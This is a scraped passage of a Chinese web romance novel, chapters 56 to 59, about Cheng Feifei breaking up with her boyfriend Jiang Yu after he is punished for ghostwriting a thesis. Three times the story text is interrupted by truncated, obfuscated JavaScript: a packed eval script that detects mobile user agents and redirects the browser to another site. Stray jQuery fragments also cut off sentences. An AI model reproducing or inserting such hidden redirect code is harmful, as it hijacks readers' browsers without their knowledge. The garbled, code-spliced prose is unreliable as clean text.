梦见自己一头粉红长发,染着黑亮的指甲,在一片衣着严谨的听众中显得那么不伦不类。 她坐在台下,本要昏昏欲睡,却在音乐会开场的瞬间,对着台上英俊的小提琴首席怦然心动。 这样的梦,常常令她不愿醒来。 程广材小心观察着女儿的一举一动,心中纳闷——这丫头向来娇生惯养,这回在这么艰苦的环境里一住就是好些天,竟然一句牢骚都没有? 莫不是那个红包起了大用? 这晚,程霏霏又窝在房间里独自发愣的时候,门上传来一声轻叩。 只见程广材端着一碗热气腾腾的鱼丸汤,笑眯眯地走了进来。 “霏霏,老爸白天刚钓的鱼,新鲜得很,快尝尝!” 程霏霏接过来,吁着热气喝了一口,点点头:“唔,好喝。” 随后便放下了碗。 程广材瞧了眼她的神色:“你不是最喜欢吃鱼的嘛,鱼丸汤每次都要喝一大碗的,今天怎么了,没胃口?” 程霏霏搅着碗里的东西,蔫蔫地说;“没什么,只是忽然想起一个朋友……他对鱼过敏,喝不了鱼丸汤。” 程广材眉心一动,摸着下巴:“朋友?男朋友啊?” 程霏霏抿着嘴,点了点头。 程广材拍了一把大腿,感慨道:“日子可真快呦,转眼间,我们霏霏就长大了,还谈男朋友了!” 他笑呵呵地问:“是哪家的小子,福气不浅呐,能被我程广材的闺女相中!而且,这么看着,我闺女对他好像还挺满意?连过敏这种小事都记得清清楚楚的。” “才没有……”程霏霏嘟着嘴,眉间泛起一抹忧愁,“恰恰相反,我太笨了,做了好多傻事,让他受了不少委屈。” “所以,你搁这儿自己跟自己生气呢?” 程广材的眉毛都快拧到一块去了。 “感情嘛,无非就是一个愿打、一个愿挨,你怎么知道他委屈?说不定那小子还乐在其中呢!” “……” “想和我程广材的女儿在一起,就得拿得起放得下,受得住委屈、吃得了苦,才行!” “……可是我不想他吃苦。” 程霏霏盯着碗中白胖胖的鱼丸,个个珠圆玉润,泛着养尊处优的光泽。 “我自己最吃不了的就是苦,既然如此,为什么要我喜欢的人去吃苦呢?就是为了证明他爱我么?” 程广材有些讶然,深深地瞧了女儿一眼。 程霏霏想,她不仅不要他吃苦,还要让他吃到全世界的糖。 过去的那些傻事,她认了,自己就是个无可救药的棒槌! 现在回想起来,所有的细节早就已经指向了同一个人,是她迟钝地一直认不出他,还满世界哭着喊着要去找人。 如今,苦苦寻觅的人就在身边…… 她自己反倒当起了蜗牛,缩在壳子里不敢露头,无非就是难以直面曾经眼瞎而做下来的一系列荒唐事! 程霏霏想,这个地方不能再呆下去了,她必须立刻回到江羽身边去,把整个故事完完整整地讲给他听。 她要告诉他,她一直在找他,为了他努力考上大学,努力练习小提琴。连文化节上演奏的那一曲,也是送给他的表白。 虽然过程中犯了许多错,还稀里糊涂地认错了人……可是,她心里的的确确,从来就没有什么第二个人。 她程霏霏的故事从头到尾,有且只有江羽一个男主角! 想到这里,程霏霏舀起一只大个儿鱼丸,酣畅地咀嚼起来。 鱼肉细腻软滑,鲜得她口水直流。 一整碗热腾腾的鱼汤下肚,程霏霏抹了抹嘴,对程广材说:“爸爸,我想回江城了。” * 女儿要走,程广材自然不会拦着。 他打发两个孩子先行回去,自己还要在老家多住些日子。 第二天一早,程皓南将车开到村口的时候,老远就看到程霏霏爬到路边那棵老槐树上,伸着胳膊,高举着手机,正在捕捉通讯信号。 程皓南:“……” 可惜,有这重重山峦阻挡,信号一丝也进不来,程霏霏的电话和微信依旧静默无声。 车子沿着盘山公路缓缓行驶。 程皓南开着车,不时瞅一眼妹妹心急的模样,忍不住调侃:“你啊,一看就是得了城市病。” 程霏霏正一遍遍地刷新着手机,漫不经心地否认:“是相思病。” 程皓南顿时皱紧了眉:“你就这么喜欢姓江的那小子?” 程霏霏靠在车窗上,望着窗外飞速而过的满山绿意,嘴角弯起一个甜蜜的弧度。 “哥,你相信宿命吗?” 程皓南不屑地一哼:“相比那种虚无缥缈的东西,我更愿意相信自己的努力。” 程霏霏不介意地笑了笑。 “我也曾经努力做过很多事,比方说,努力阻止爸妈感情破裂,努力赢得别人的心意……但是那些努力都非常不合时宜,最终也都失败了。” 她的眸子里闪过一抹温柔的弧光。 “可是在江羽这儿,我甚至不需要怎么努力。我不用委屈我自己,也不用装成任何人,甚至不需要太用力地走向他。因为每当我抬起头的时候,总能看到他就在我身后不远处。我想,某种意义上来说,他就是我的宿命。” 程皓南震惊地看向她。 他没想到,这个从小就不可一世的妹妹,有一天,竟然会对一个男人如此倾心。 心中酸涩之余,程皓南犹豫地说:“有件事,我必须得告诉你……” 这时候,程霏霏的手机突然嗡嗡作响起来——谢天谢地,他们终于出了山,来到有信号的地界了! 她赶紧兴奋地接起,来电话的人是裴一舟。 “学姐,你的电话可终于通了!这几天,你和江羽联系过吗?” “没有啊……”程霏霏愣了愣,“他怎么了?” “有人给学校投了封匿名信,说江羽……说他违反校规校纪,替人代笔论文。前天,他被学校的调查组叫去问话了,之后就一直联系不上。” “怎么会?江羽没事替别人写什么论文?太荒谬了,一定是有人冤——” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505828|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >程霏霏的话头戛然而止,脑子里倏地闪过一些画面…… 这大半年来,江羽不同寻常的学习状态,书桌上铺展的各个学科的学习资料,还有每当她问起时,他顾左右而言他的那些玩笑话…… 程霏霏的心已经提到了嗓子眼:“他替谁……写的论文?” “对方名叫柯有为。” 程霏霏好似被一道惊雷劈在了头顶——她想起了那个咖啡馆里的隔空一面。 心脏顿时如坠冰窟,程霏霏绝望地意识到,这件事,恐怕是真的。 “调查组把柯有为叫去问话的时候,他根本就说不出论文里的数据结构跟核心论点!被那阵仗一吓,立刻就交代了。可问题是,那篇论文已经被学校评为“优秀毕业论文”了,马上就要公开表彰,这个时候爆出来,影响真的太大!我们都挺担心江羽的,不晓得他怎么样了……” 程霏霏已经听不清裴一舟在说什么了,她讷讷地挂了电话,转而拨打江羽的手机,却一直关机。 程皓南在旁边听了个全程,亦是十分惊讶:“这小子好大的胆子,真是拿自己的前途开玩笑!啧,也是够拼的,我还以为他说要还债的那些话都是逞强呢……” 程霏霏猛地转过头,眼角因为焦急而泛着殷红的水光:“哥,你刚刚说什么?” * 蜿蜒的山道上,不时有几辆汽车极速驶过。 司机好奇地在后视镜里回望,看一眼路边独自行走的少女。 少女面容沉肃,边走边打电话,轰隆的山风卷起她的长发,拍打在脸上。 “可心,你立刻帮我打听一下,姚安琪哪天回江城。” 挂了电话,程霏霏闭上眼睛,在心中默念:没事的,一定还有办法,程霏霏,你不要慌。 任可心的微信很快发过来——姚安琪回程的航班就在今天下午。 程霏霏眉头一松,立刻跑到马路中央,冲来往的车辆振臂高呼:“喂!有没有人载我一程!我要去江城市!有偿,重谢!” 前方,一辆SUV打着方向盘折返,在她身边遽然停下。 车窗降下来,露出程皓南眉头紧锁的脸。 “你就算要跟我吵架,也等回了家再吵。这地方这么偏僻,山路难行,你一个小姑娘,叫我怎么放心!” 程霏霏冷冰冰地瞥了他一眼,掉头就走。 程皓南气得直接下了车,冲着她的背影不管不顾地吼道:“程霏霏,你要是在这种鬼地方出了什么事情,家产可就是我一个人继承了!” 前方,程霏霏倏地停止了脚步。几息之后,竟然真的转身走了回来,在程皓南震惊的目光中,重新上了车。 她系好安全带,面无表情地说:“那件事我以后再和你算账,你现在立刻送我去机场!” * 姚安琪怎么也没有想到,时隔一年重返江城,来机场迎接她的,竟然是她的“死对头”程霏霏。 程霏霏此刻长发凌乱,一张脸袋粉黛未施,面若死灰。穿着一身素黑的长袖衣裤,看着不像来接机,倒像是来上坟。 姚安琪不知该作何反应,刚想就着这身行头开口嘲讽一番,程霏霏却忽然弯腰,当着机场人来人往的旅客,给她鞠了一个九十度大躬。 姚安琪吓了一大跳,忙捂着心口跳开:“程霏霏,你发什么疯!这身打扮来给我鞠躬,晦不晦气!” 而程霏霏依旧弯着腰,语调肃然:“姚安琪,你我过往之间的一切纠葛,都是我程霏霏一个人的过错!我今天诚挚地向你道歉,希望你大人不记小人过,原谅我那些欠妥的行为。” 姚安琪已经被这副阵仗吓傻了。 “你想怎么报复我都行,想要我在全校大会上公开给你道歉也可以……但是,今天有件事情,你无论如何都要帮我!” 姚安琪:“……” 程霏霏抬起头,披头散发下,一张脸竟然挂满了泪水。 “看在我们相识一场的份上,能不能请你舅舅,帮帮我男朋友?” 57. 57 电梯甫一到达十五楼,程霏霏立刻踉跄着冲了出来,飞扑到公寓大门上,咚咚咚地狂敲。 见无人应答,才想起来要输密码。 门打开,小黄兴高采烈地迎了上来,扒拉着程霏霏的裤腿就是一通亲昵。 “你主子呢?在家吗?” 程霏霏跨过小黄,冲进每一个房间,将所有的门都打开。 整栋房子里静悄悄的,一个人影也没有。 硬提着的一口气瞬间就散了,程霏霏黯然地垂着脑袋,一屁股跌进奶白色沙发里。仰起脸,目光空洞地盯着天花板,彻底不动了。 客厅里没有开灯,楼下小区里的灯光隐隐约约地渗进来,照亮沙发的一角。 小黄摇着尾巴靠近,蜷在沙发前的软垫上,翘起脑袋,温柔地蹭了蹭程霏霏垂下的手心。 程霏霏弯腰,将小黄一把捞进怀里紧紧抱着,下巴担在它的头顶上,像揣着一个狗形抱枕。 “我把能找的地方都找遍了,你家主人,到底去哪儿了呢……” 她有气无力地嘀咕着,忽然,一丝清新的香味幽幽地钻进她的鼻孔。 程霏霏把脸埋进狗毛里闻了闻,眼睛霍然一亮:“你……刚刚洗了澡?” 把狗子随手一扔,程霏霏鲤鱼打挺,从沙发里起身,直冲进洗手间。 淋浴房的墙面上还挂着湿漉漉的水渍,宠物沐浴露的香气弥漫在空气中—— 江羽竟然一直在家,不仅如此,他还很有闲情逸致的给狗子洗了个澡。此刻或许刚刚出门,肯定还没有走远。 * 今夜的空气极好,天幕上挂着一轮皎洁的银月,暗色的云低浮在空中,点点繁星若隐若现。 程霏霏从住宅楼里出来,抬眼就看到了这幕夜色。 一切看着那么美好、那么触手可及,实际上却相去甚远,是需要用光年来计量的距离。 程霏霏忽然一阵难受,再喜欢月色的人,也永远触不到月亮。 她沿着小区的羊肠小径一路寻找,走着走着就出了小区大门,来到马路对面的江滩公园。 时间已经有些晚,江岸的绿地上只有稀疏人影。 程霏霏在一条长椅上坐下,揉了揉酸麻的小腿。 一整天下来,身体上的颠簸加心绪的起伏,让她这副小身板快要散架了。 初始时那些惊悸与慌张,好像也慢慢变得平缓,化为一缕沉甸甸的希冀——什么都不重要,只要找到江羽便好,看到他平安无事,便好。 她强撑着从长椅上站起身,继续往前走。 隐约间,似乎听到一阵遥远的小提琴声自江边的方向传来…… 程霏霏精神一震,加快了脚步。 循着那缕愈加清晰的琴声,她绕过枝繁叶茂的花墙,终于看到了心心念念的人。 紧绷的心骤然一轻,程霏霏卸力地吐出一口压抑的浊气。 江羽独自站在靠近江水的石阶前,面朝着静谧无声的江面,正在拉小提琴。 琴是程霏霏留在公寓里的那把,简约高级,音色十分干净。 他正在演奏的,是意大利作曲家巴齐尼的《精灵之舞》。 这首曲子,程霏霏只是略有耳闻,现场听还是头一回。 有别于江羽平时拉给她听的那些曲目——和缓、温馨、富有情调,这一首,则称得上慷慨激昂。 节奏快到难以想象,演奏上的技术难度恐怕会令一般人根本无从挑战。 程霏霏还是第一次直观地感受到,江羽毫无收敛,彻底放飞了一般,在任性而肆意地——炫技。 她愣怔地看着他快如残影的抛弓,手指在琴弦上飞快地跳跃,快速而精准,将一首顶级复杂的曲子演绎得明快激荡、酣畅淋漓。 ——这哪是精灵啊,分明有魔鬼在他的琴弦上起舞! 抑扬顿挫的琴声也吸引了路人驻足,有几个人停在附近,好奇地瞅上几眼。 而江羽闭着眼睛,背对着路人,全身心地徜徉在音乐的世界里,对周遭的一切没有任何反应。 湿漉漉的江风迎面吹来,公园的草木散发出澄澈的清甜。 程霏霏索性也闭上眼睛,任悠扬灵动的小提琴声引领着她,缓缓走入江羽的内心世界。 没有想象中浓墨重彩的绝望或者愤怒,程霏霏沉浸在快如流水般的节奏里,只捕捉到一缕失落的愁绪。 这份失意,竟然是那样哀而不伤,就像回家的路上淋了一场不期而至的雨。 雨水带着湿润的凉意,令人清醒,却不又不至于寒冷刺骨。虽然影响心情,可抬起头来的时候,透过连绵雨雾,还能瞥见一尾彩虹挂在空中。 一切坏情绪好像都变得轻描淡写了起来。 那尾彩虹是什么,程霏霏不得而知。 她只是很惊讶地睁开了眼睛。 这时候,兜里的手机开始“嗡嗡嗡”地震动,程霏霏躲到花墙后面,按下接听。 是姚安琪的电话。 “我托我舅舅打听了,这事就如你所知,的确就是这么个事啦。很简单的一桩金钱交易,双方都供认不讳,所以也没什么好调查的。今天上午就有了处理结果,已经通知到本人了。事已至此,我舅舅也没什么地方能插手的。” 姚安琪不自然地咳了一声,犹豫片刻,才继续道:“那个,程霏霏,你要做好心理准备,你男朋友可能……” 程霏霏紧紧攥着手指,面无表情:“你说,我听着。” “唉,也算他倒霉,背了个大处分——暂时留校察看,从拓知实验班开除,取消全部奖学金。” “按理说,他这种情况应该有机会转入普通院系的,但这事是汪行知亲自处理的。你也知道,以汪佬的影响力,没有哪个院系敢顶着他的盛怒跳出来要人,所以……他能不能顺利毕业,还是未知。唉,就算能毕业,这么大个处分顶在头上,以后还怎么找工作啊……” 程霏霏的手臂无力地垂落下来,险些拿不住手机。 姚安琪后面的话,通通消失在了风里。 眼睛里最后一丝光亮彻底覆灭,程霏霏的目光变得浑浊又呆滞,视线罩上了一层玻璃般晶莹的泪。 她僵硬地抬起头。 头顶月光惨淡,照亮江羽的背影,显得他整个人愈发瘦削单薄。 她比任何人都知道,她的心上人,拥有拔尖的品貌、无与伦比的才情,是造物主偏心的宠儿,享有无人能及的天赋。 可是上天给了他出挑的才华,也赐下了一波三折的命运。让她的小朋友,一路走得跌跌撞撞,尝遍世态艰辛。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14516063|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 视线里,一对年轻的情侣沿着江堤散步而来,在江羽身旁驻足聆听了一会儿。 离开时,男生从口袋里掏出一个硬币,随手丢向地上的琴盒。 可琴盒并没有打开。 硬币在平坦的盒盖上滚了一圈,沿着台阶咕噜噜地继续朝下滚去,直到停在了江羽的脚边。 流畅的琴声骤然一顿。 江羽睁开眼,看向了地上的那枚硬币—— 一瞬间,仿佛一只狰狞的手揪住了程霏霏的心脏,狠狠一扯。 程霏霏好似触电一般,隔着遥远的距离,忽然开始嚎啕大哭。 连日来积压在心底的那些沉重的情绪,如同困兽的哀嚎,顷刻便呼啸而出。 痛苦的心潮汹涌着,滚过她的整个身躯。 她哭得全身都在颤抖,感觉自己的心被撕得粉碎,化为冰冷的残骸,随着血管缓缓地流遍四肢百骸。 那铺天盖地的痛,令她不得不扶着花墙缓缓蹲下,缩成一团,紧抱住自己冰冷的身体。 程霏霏仰起脸,苍白的月光照在江面上,比任何时候都冰冷无情。 滚烫的泪水铺满了她的脸,顺着下颌流进脖子,将胸前的衣料洇得透湿。 她用力捂住自己的嘴巴,企图将愈发失控的呜咽声压下。可胸腔起伏得更加剧烈,那些无处安放的无力与痛惜纠缠在一起,像一柄软刀,肆虐着将她反复捅穿。 前方,江羽已经停止了演奏。 他收起了小提琴,从背包里拿出手机,按下开机键。 噼里啪啦的信息一条接一条涌进来,都是听说了这件事、前来关心他的同学。 江羽略略一扫,没有他在等的人。 他将手机收进口袋,望着暗沉的江面,心头不知为何,忽然涌过一阵不安。 时间不早,该回去了。 他背起琴盒,沿着江边木栈道,心不在焉地往回走。 绕过花墙的时候,背面已经空无一人。 * 江羽推开小公寓的门。 室内一片漆黑,还是他刚刚出门前的样子。 小黄已经趴在窝里睡了半宿,看见他回来,强撑着站起身,摇摇晃晃地走过来打招呼。 江羽蹲下身,摸了摸狗子洗得干干净净的毛发,低声自语:“她明天就回来了,给你洗得干净点,记得好好表现。” 他仰起脖子,眼神清淡地望着半空,惆怅地吁出一口气。 希望……她不要太生气。 江羽逗了一会儿狗,打发它去睡觉,自己走进书房,将小提琴收进柜子里。 转身的时候,视线蓦地一顿。 他拧开桌上的台灯。 黑胡桃色的桌面上,铺展着一张羊肉馆的菜单。虽然纸张的边角有些磨损,但折痕清晰,一看就被人精心保存了很久。 翻过来,正是当初程霏霏贴着他,用眉笔一笔一划写下来的“包养协议”。 协议上原本列有三项条目,此刻,新鲜的猩红色线条贯穿了暗沉的字迹,像是用口红匆匆画下的,如同犁在纸面上的血印,将整份协议的内容通篇划掉。 最底下,是“金主姐姐”的最新留言—— 【江羽,不论我们之间的关系算什么,都到此为止吧。】 58. 58 程霏霏从被子里探出头,揉了揉酸痛的额角,不记得自己睡了多久。 卧室里门窗紧闭,窗帘也掩得严丝合缝,不漏一丝光。她挣扎着从床上坐起来,感觉四肢麻痹,整张脸都是肿的,嗓子干哑得如火烧一般。 踉跄着爬去洗手间。 镜子里是一张白惨惨的脸,毫无血色,眼皮浮肿如核桃,眼角还带着泪痕。 程霏霏盯着镜子看了十分钟,忽然抬起手腕,在那头茂密的秀发里一通摸索,薅下一根白了半截的头发。 她怔怔地盯着这半根白头发,嘴角勾起一个狼狈的笑。 程霏霏拧开水龙头,将那缕白发冲走,捧起一瓢水泼到脸上。 似乎还觉得不够,她朝自己的脸上泼了一捧又一捧水,直到把上衣都浸湿了,才堪堪停下来。 程霏霏擦干净脸,坐在梳妆台前,翻出眼影盒,给自己描了一个夸张至极的烟熏妆。 大片深色眼影与乌沉的黑眼圈合在一起,透着一种纵欲过度后的平静。 她左右看看,觉得这张脸又有了点高中时候的中二劲儿,执拗而莽撞,写满了不好惹,散发着见者远离的气势。 程霏霏戴上一个足以遮住半张脸的大墨镜,深呼吸几许,打开了家里的院门。 不出所料,那个在梦里折磨了她一整宿的人,此刻就站在门外。 江羽的眼下有淡淡的青色,头发和肩膀上都沾着露水,不知在这里等了多久,也许等了一整晚也说不定…… 程霏霏强迫自己收回目光,直接越过他朝前走,被江羽伸手拉住。 他的脸上带着轻松的笑意,拉着她胳膊的力道却重,泄露出一丝内心的慌乱。 “霏霏,什么时候回来的?”江羽的喉结滚了滚,嗓音沁着沙哑,“怎么不回我的微信?” 程霏霏连头也没回,一把甩开对方的胳膊。 “昨天。懒得回。” 江羽于是绕到她的身前,笑容不变:“你要去电视台吗?我送你。” 程霏霏这才仰起脸,巨大的镜片上映出他憔悴的双眼。 “包养协议上的话,你没看懂?” 江羽定定地注视了她一会儿:“你听说……处分的事情了?” 程霏霏别过脸。 “我本来是想等你从竹鲤回来,当面解释给你听。” 江羽的语速有点慢,声音里带着明显的忐忑:“这件事是我做错了,是错就得认,我没什么好辩解的。霏霏,让你担心了,对不起。” 他觑着程霏霏的表情,继续道:“虽然奖学金没了,但是没关系,我还可以找别的工作赚钱。转系的事情你也不必担心,我今天起就去挨个拜访每个学院的老师,总能捞到一个考试的机会——” 程霏霏突然打断他的话:“我的决定不会变,你走吧。” 说完,绕过他便继续朝前走。 江羽一愣,连忙跟上,边走边在她耳旁说:“我说的是真的,一个小处分而已,没什么大不了。” 程霏霏难以置信地看了他一眼,露出一个嘲讽的笑。 江羽被这个笑容刺到,眉心拧了起来:“再不济,哪怕学校要开除我,哪怕我回去重新参加高考,又怎么样呢?我还是一样考得进来,江大不要我,我就去清北!” 程霏霏还是第一次听他说出这般狂傲的言论,先是愣了愣,继而被挑起了真实的怒火。 “好厉害呢,江羽,你的才华就是用来干这些的吗?这么爱考试,那你去考啊!爱考去哪里都随你,和我无关!” “不是的……”江羽忽然抓住她的肩膀,嗓音和手指都在细细地发着抖,“霏霏,我去哪里,只和你有关。” 程霏霏余怒未消,似笑非笑地任他抓着,那笑容令江羽的心愈加慌张。 他连声音都是哆嗦的:“我知道,作为你的男朋友,我应当多为我们俩的未来考虑。这次是我一时糊涂,被金钱冲昏了头脑。霏霏,能不能给我一次弥补的机会?一次就好,你不要……不要轻易说那种话,行吗?” 程霏霏抬手,想甩开他的桎梏,却发现江羽的力道大得出奇。双手紧紧地箍着她的肩膀,分毫不让。 她烦躁地抬起头:“男朋友?如果你想那样理解,也行。” 江羽蓦地一怔。 程霏霏继续推他:“放手!我要走了。” 江羽的手仍旧纹丝不动,眼底布满悲哀的祈求:“霏霏,哪怕我不上学,我还可以去拉琴,去打工,我可以赚钱养活我自己……还有你。” 仿佛听到了什么荒谬至极的蠢话,程霏霏上下打量了江羽一番,口气愈加轻蔑:“你看看你现在,都自顾不暇了,还说要养我?江羽,你觉得自己配么?” 似有一桶冰水顺着天灵盖浇了下去,江羽手上的力道倏地一松。 程霏霏趁机挣脱了他,招手拦下一辆出租车,灵活地钻进车内,“嘭”一声带上车门,扬长而去。 唯有江羽失魂落魄地僵在路边,久久没有动。 * 程霏霏在电视台下了车,刷了闸机,进入员工电梯。 此时已经过了上班高峰期,电梯里只有她一个人。 “叮——” 楼层到达,程霏霏没有去工位,反而朝相反的方向跑去,钻进了洗手间。 她冲进隔间,把门关上,一把扯掉墨镜,露出被泪水糊成两坨黑洞的双眼。 程霏霏抬手捂住脸,懊恼地边哭边骂:“呜呜呜——什么破化妆品,还说防水呢,都是骗人的呜——” 不知道哭了多久,等到她终于把早上的一腔酸涩发泄完毕,才勉强收拾了一下,从洗手间出来,径直走去了纪玫的办公室。 纪玫正在开一个电话会议,看到程霏霏进来,抬手示意她稍等。目光瞥到她一片狼藉的脸,倒是轻轻一愣。 挂了电话,纪玫起身,去吧台边泡了一杯热茶,放在程霏霏面前。 “怎么样,家里的事情还顺利吗?” 程霏霏勉强笑了一下:“玫姐,我今天是来找你辞职的。” 纪玫眉梢一抬,表示不解。 “最近,我个人的事情有点多,可能没法很好地兼顾栏目组的实习工作了。怕给你捅娄子,我就干脆离职吧。反正对我来说,已经积累了宝贵的经验,学分也挣到了,够毕业就行。” 程霏霏垂着目光,端起那杯茶,轻轻一抿。 “哦对了,这个还给你。” 她从包里拿出那枚优盘,推到纪玫跟前:“这些资料很有帮助,谢谢玫姐。” 纪玫的目光从优盘上抬起,在程霏霏混乱的脸上巡睃了一圈,微微笑道:“我给你这些资料,是想让你尽快学习提升,好跟着我准备接下来一个很重要的采访。没想到,你居然跟我提离职。” 她叹了口气,从身后的柜子里取出一个文件夹,递给程霏霏。 “我本来想让你以助理的身份,陪我出趟差,去争取一下这个采访。” 程霏霏打开文件夹,微微惊讶—— 采访对象一栏写着:国际著名小提琴演奏家,羽婷。 “羽婷老师近些年很少接受采访,自从去了英国以后,更是一次也没在公众面前露过面,连一年一度的个人演奏会都停了。我反复争取了好多次,一直都没有收到回复。所以我想着,这次带你一起过去,直接登门拜访。说不定,她看在我们诚意满满的份上,就点头了呢?” 程霏霏有些吃惊:“这么好的机会,怎么会选中我?” 别说她只是一个小小的实习生,就算她是正式员工,采访羽婷这样的乐坛知名人士,搁在整个江城电视台,也是众人打破头去争抢的机会。 而纪玫只是会心一笑:“没有人比你更合适了。” 她看了眼手机,起身送客:“我还要开个会,你先拿着这份资料回去,仔细考虑要不要接受这个机会。辞职的事情,咱们以后再谈。” 她三下五除二便把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14567059|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程霏霏请出了办公室,临走的时候,还塞给她一包卸妆湿巾。 “感觉你会用得上。” 程霏霏叹了口气,分手分得狼狈也就罢了,怎么连辞职也辞不掉。 她将湿巾和采访资料一齐装进包里,走出了电视台的大楼。 一出来,外面的日头晃得人眼花,程霏霏重新将她的墨镜戴上,一转头,看到蹲守在电视台大门外、一脸魂不守舍的江羽。 程霏霏:“……” 苍天啊,他这是打算一直跟着自己不成? 以前怎么没发现,她这男朋友脸皮还挺厚。早上那样一番狠话,竟然都没能将他劝退。 程霏霏使劲眨了眨眼,将刚才那一瞥而勾起的泪意狠狠压下。 此刻视线清晰,状态OK,程霏霏在心中给自己鼓了鼓劲:要挺住,不能崩,如果当着他的面哭出来,一切就完了。 她像一只高傲的孔雀那般,昂首阔步地走了出来。经过江羽身侧的时候,脖子动都没动,不赏给他一个眼神,径直朝着外面的大街上走去。 江羽并没有叫住她,只是目光如炬地看着她前行的方向,抬脚跟上。 午后的天空风清日丽,阳光温柔地洒在波光粼粼的江面上,树枝在微风中轻摇,反射着翠绿的光斑。 路边的小公园里,不时有小孩子在追逐打闹,清脆的笑声传得很远。 整个城市的气温在逐渐走高,仿佛下一秒就要入夏。 程霏霏仰起脸,看到头顶上空被江风吹拂的树冠。 忽然想起那一年,她离家出走,独自行走在帝都的胡同里时,也是这样的好天气,也有同样葱郁的树荫…… 一切都是从那一天开始的。 程霏霏的手指陷进掌心,指甲掐出一丝钻心的疼。 这个动作令她稍稍清醒。 她停下脚步,转过身来。 江羽就在身后,隔着不远的距离,遥遥望着她。 两人视线交错,程霏霏将胳膊环在胸前,不耐烦地问:“你打算跟到什么时候?” 江羽看上去不太好,哪怕在这样晴好的光线里,脸色依旧泛着青黄。眼睛布满血丝,嘴唇透着白,大概一直没有吃饭。 程霏霏的心一揪一揪,疼得酸楚。 “霏霏。”江羽抬起眼睫,直勾勾地望着她,“我想要一个理由。” “什么理由?” “我想知道,我到底做错了什么,让你……不打算要我了。” 江羽的声音很轻,神色是凄雨一般的哀伤。 “如果不是因为处分的事,又是因为什么呢?” 他扯出一个极淡的笑,带着自嘲的意味:“你刚认识我的时候,我就是这副样子,负债累累,一无所有。我不相信,你会突然因为这个嫌弃我。” 程霏霏梗着脖子,面上淡定如斯,内心早已慌乱如麻。 “……有很多原因。” 她托了托镜片,尽力掩饰住脸部肌肉的瑟缩,老神在在地说:“但是现在都不重要了,你明白吗,什么原因并不重要,重要的是我腻了,烦了,厌倦了。” 胸口好像破了一个洞。 江羽不知道,自己的心是不是已经被风卷了出去,随意砸在地上,摔得支离破碎。 他皱起眉,半晌,才艰难地喘出一口气,声音有些嘶哑:“能不能先不赶我走?给我一个机会,一些时间。或许,或许过一阵子,你的心情就变了。又或许,我可以证明给你看,我也不是那么……令你厌烦。” 程霏霏的手藏在袖子里,抖如筛糠。 她忽然转过身,背对着江羽,用冰冷至极的口吻下达最后通牒:“我不喜欢讨价还价,我说什么时候结束,就什么时候结束。” 接着,又撂下一句:“既然分开了,那栋公寓你再住着就不合适了,限你四十八小时之内搬走吧。” 说完,程霏霏扶了扶脸上的墨镜,头也不回地消失在了林荫路的尽头。 59. 59 “所以啊,你到底为什么要分手?” 光影交错的酒吧里,任可心对着一杯特调马天尼,正在埋头捞里面的橄榄。 “不是我说啊霏霏,江羽做代笔那个事,学校里知道的人不少,骂的人也挺多。你挑这么个倒霉时候跟人家分手,是不是有点不大厚道?” 程霏霏蹙起眉:“为什么骂他?” “你想啊,大家都是常年受论文折磨的人,最讨厌有人走这种捷径了!” “那也应该去骂柯有为才对。” “柯有为算哪根葱?一个无知富二代,哪比得上拓知校草的知名度?” 任可心叹了口气:“这事一出,你紧接着就把人甩了。如今八卦传得满世界都是,说什么的都有。甚至还有人说,你趁着帅哥落难、光环不再,就始乱终弃,薄情寡义,落井下石……” “……我谢谢你!”程霏霏一把端起那杯马天尼,狠狠一晃。 “诶诶,我的橄榄,又掉下去了——” 酒过三巡,两个女孩子都醉得迷迷糊糊。 任可心趴在桌面上,大着舌头问:“江小帅哥还找你不?” 程霏霏耷拉着脑袋,胡乱摇了摇头。 “你不是让他搬走吗?他到底搬了还是没搬?” “我不知道……”程霏霏双目无神,语气极淡,“还没去看过。” “你呀不要耍脾气,有什么矛盾,两个人坐下来好好谈嘛。这手是随随便便能分的么?我打赌,你们俩根本就分不掉!感情那么好,又没有啥大矛盾,分手连个像样的理由也没有,有句话怎么说的来着……没有原则性问题。凭我丰富的旁观者经验,你们这种的,就是雷声大雨点小,压根就分不掉!” 程霏霏凉凉一笑:“是么?” 她将杯底的酒液一饮而尽,站起身,一把拎起自己的包:“不早了,你自己打车回学校吧。” 说罢,一步三晃地离开了卡座。 任可心窝在沙发里,后知后觉地反应过来——不对啊,程霏霏不是应该跟她一块回学校么? * 从出租车上下来,程霏霏眯缝着眼,打量着这片灯火通明的小区。 一路跌跌撞撞地走进来,乘着电梯来到十五楼,程霏霏推开了公寓的门。 她站在门口,没有进门,也没开灯。 房间里漆黑一片,走廊的灯光漫进来,照亮浅木色地板的一角。 除此之外,什么也看不见。 